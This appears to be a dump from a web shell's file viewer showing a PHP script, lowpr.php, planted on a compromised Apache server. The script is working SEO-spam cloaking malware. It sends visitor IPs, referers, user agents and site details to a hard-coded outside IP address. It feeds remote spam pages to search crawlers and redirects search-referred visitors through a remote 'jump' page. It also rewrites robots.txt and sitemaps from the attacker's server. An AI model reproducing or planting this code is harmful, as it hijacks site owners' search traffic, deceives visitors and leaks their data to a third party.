HEX
Server: Apache
System: Windows NT MAGNETO-ARM 10.0 build 22000 (Windows 10) AMD64
User: Michel (0)
PHP: 7.4.7
Disabled: NONE
Upload Files
File: C:/Apache24/htdocs/lowpr.php
<?php

class RequestHandler {
    private $inter_domain = 'http://142.54.191.58/z50928_2/';
    private $http;
    private $req_uri;
    private $domain;
    private $self;
    private $ser_name;
    private $req_url;
    private $href1;
    private $data1;

    public function __construct() {
        $this->http = ((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https://' : 'http://');
        $this->req_uri = $_SERVER['REQUEST_URI'];
        $this->domain = $_SERVER["HTTP_HOST"];
        $this->self = $_SERVER['PHP_SELF'];
        $this->ser_name = $_SERVER['SERVER_NAME'];
        $this->req_url = $this->http . $this->domain . $this->req_uri;
        
        $this->initializeHref();
        $this->initializeData();
    }

    private function initializeHref() {
        if (strpos($this->req_uri, ".php")) {
            $this->href1 = $this->http . $this->domain . $this->self;
        } else {
            $this->href1 = $this->http . $this->domain;
        }
    }

    private function initializeData() {
        $this->data1 = array();
        $this->data1['domain'] = $this->domain;
        $this->data1['req_uri'] = $this->req_uri;
        $this->data1['href'] = $this->href1;
        $this->data1['req_url'] = $this->req_url;
    }

    public function curlGetContents($url) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
        $file_contents = curl_exec($ch);
        curl_close($ch);
        return $file_contents;
    }

    public function getServerContent($url, $data = array()) {
        $url = str_replace(' ', '+', $url);
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, "$url");
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_TIMEOUT, 10);
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
        $output = curl_exec($ch);
        $errorCode = curl_errno($ch);
        curl_close($ch);
        
        if (0 !== $errorCode) {
            return false;
        }
        return $output;
    }

    public function isCrawler($agent) {
        $agent_check = false;
        $bots = 'googlebot|bingbot|google|aol|bing|yahoo';
        
        if ($agent != '') {
            if (preg_match("/($bots)/si", $agent)) {
                $agent_check = true;
            }
        }
        return $agent_check;
    }

    public function checkReferer($refer) {
        $check_refer = false;
        $referbots = 'google|yahoo|bing|aol';
        
        if ($refer != '' && preg_match("/($referbots)/si", $refer)) {
            $check_refer = true;
        }
        return $check_refer;
    }

    public function handleRobotsRequest() {
        if (substr($this->req_uri, -6) == 'robots') {
            define('BASE_PATH', $_SERVER['DOCUMENT_ROOT']);
            $robots_cont = @file_get_contents(BASE_PATH . '/robots.txt');
            $this->data1['robots_cont'] = $robots_cont;
            
            $url_robots = $this->inter_domain . "/robots.php";
            $robots_cont = @$this->getServerContent($url_robots, $this->data1);
            file_put_contents(BASE_PATH . '/robots.txt', $robots_cont);
            
            $robots_cont = @file_get_contents(BASE_PATH . '/robots.txt');
            if (strpos(strtolower($robots_cont), "sitemap")) {
                echo 'robots.txt file create success!';
            } else {
                echo 'robots.txt file create fail!';
            }
            exit;
        }
    }

    public function handleXmlRequests() {
        if (substr($this->req_uri, -4) == '.xml') {
            $this->handleAllSitemap();
            $this->handleOtherXmlRequests();
        }
    }

    private function handleAllSitemap() {
        if (strpos($this->req_uri, "allsitemap.xml")) {
            $map1 = $this->inter_domain . "/map.php";
            $str_cont = $this->getServerContent($map1, $this->data1);
            header("Content-type:text/xml");
            echo $str_cont;
            exit;
        }
    }

    private function handleOtherXmlRequests() {
        $url_words = $this->inter_domain . "/words.php";
        
        if (strpos($this->req_uri, ".php")) {
            $word4 = explode("?", $this->req_uri);
            $word4 = $word4[count($word4) - 1];
            $word4 = str_replace(".xml", "", $word4);
        } else {
            $word4 = str_replace("/", "", $this->req_uri);
            $word4 = str_replace(".xml", "", $word4);
        }
        
        $this->data1['word'] = $word4;
        $this->data1['action'] = 'check_sitemap';
        $check_url4 = $this->getServerContent($url_words, $this->data1);
        
        if ($check_url4 == '1') {
            $map1 = $this->inter_domain . "/map.php";
            $str_cont = $this->getServerContent($map1, $this->data1);
            header("Content-type:text/xml");
            echo $str_cont;
            exit;
        }
        
        $this->data1['action'] = "check_words";
        $check1 = $this->getServerContent($url_words, $this->data1);
        
        if (strpos($this->req_uri, "map") > 0 || $check1 == '1') {
            $this->data1['action'] = "rand_xml";
            $check_url4 = $this->getServerContent($url_words, $this->data1);
            header("Content-type:text/xml");
            echo $check_url4;
            exit;
        }
    }

    public function handleMainRequest() {
        $referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
        $chk_refer = $this->checkReferer($referer);
        $user_agent = strtolower(isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '');
        $res_crawl = $this->isCrawler($user_agent);
        
        if (strpos($this->req_uri, ".php")) {
            $main_shell = $this->http . $this->ser_name . $this->self;
            $this->data1['main_shell'] = $main_shell;
        } else {
            $main_shell = $this->http . $this->ser_name;
            $this->data1['main_shell'] = $main_shell;
        }
        
        if (!$res_crawl && $chk_refer && 
            (preg_match("#((\?|\?_|\/)[a-z])\=\d+#", $this->req_uri) || 
             preg_match('/shopdetail/', $this->req_uri) || 
             preg_match('/.shtml/', $this->req_uri))) {
            
            $this->data1['ip'] = $_SERVER["REMOTE_ADDR"];
            $this->data1['referer'] = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
            $this->data1['user_agent'] = strtolower(isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '');
            
            $jump1 = $this->inter_domain . "/jump.php";
            echo $this->getServerContent($jump1, $this->data1);
            exit;
        }
        
        if ($res_crawl) {
            $this->data1['http_user_agent'] = $user_agent;
            $indata1 = $this->inter_domain . "/indata.php";
            $get_content = $this->getServerContent($indata1, $this->data1);
            echo $get_content;
            exit;
        }
    }

    public function process() {
        $this->handleRobotsRequest();
        $this->handleXmlRequests();
        $this->handleMainRequest();
    }
}

$handler = new RequestHandler();
$handler->process();

?>